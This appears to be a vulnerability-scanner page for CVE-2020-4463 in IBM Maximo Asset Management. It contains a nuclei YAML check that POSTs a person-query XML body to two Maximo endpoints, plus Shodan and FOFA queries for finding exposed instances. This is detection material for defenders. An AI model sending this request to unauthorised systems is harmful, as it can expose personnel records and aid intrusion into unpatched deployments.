IBM Maximo Asset Management Information Disclosure - XML External Entity Injection

highseverity

8.2CVSS score

31.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

IBM Maximo Asset Management is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.

Impact

The vulnerability can lead to unauthorized access to sensitive information or a denial of service.

Fix

Apply the latest security patches or updates provided by IBM to mitigate the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/os/mxperson ; POST {{BaseURL}}/meaweb/os/mxperson
Positive when: contains "QueryMXPERSONResponse" or "MXPERSONSet" AND contains in header "application/xml"

Run it with nuclei: nuclei -id CVE-2020-4463 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-4463

info:
  name: IBM Maximo Asset Management Information Disclosure - XML External Entity Injection
  author: dwisiswant0
  severity: high
  description: |
    IBM Maximo Asset Management is vulnerable to an
    XML external entity injection (XXE) attack when processing XML data.
    A remote attacker could exploit this vulnerability to expose
    sensitive information or consume memory resources.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information or a denial of service.
  remediation: |
    Apply the latest security patches or updates provided by IBM to mitigate the vulnerability.
  reference:
    - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
    - https://github.com/Ibonok/CVE-2020-4463
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/181484
    - https://www.ibm.com/support/pages/node/6253953
    - https://nvd.nist.gov/vuln/detail/CVE-2020-4463
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    cve-id: CVE-2020-4463
    cwe-id: CWE-611
    epss-score: 0.3159
    epss-percentile: 0.98303
    cpe: cpe:2.3:a:ibm:maximo_asset_management:7.6.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ibm
    product: maximo_asset_management
    shodan-query: http.favicon.hash:-399298961
    fofa-query: icon_hash=-399298961
  tags: cve,cve2020,ibm,xxe,disclosure,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/os/mxperson"
      - "{{BaseURL}}/meaweb/os/mxperson"

    body: |
      <?xml version='1.0' encoding='UTF-8'?>
      <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
        <max:MXPERSONQuery></max:MXPERSONQuery>
      </max:QueryMXPERSON>

    headers:
      Content-Type: "application/xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "QueryMXPERSONResponse"
          - "MXPERSONSet"

      - type: word
        part: header
        words:
          - "application/xml"

References

Use this check only on systems you are authorised to test. Where the data comes from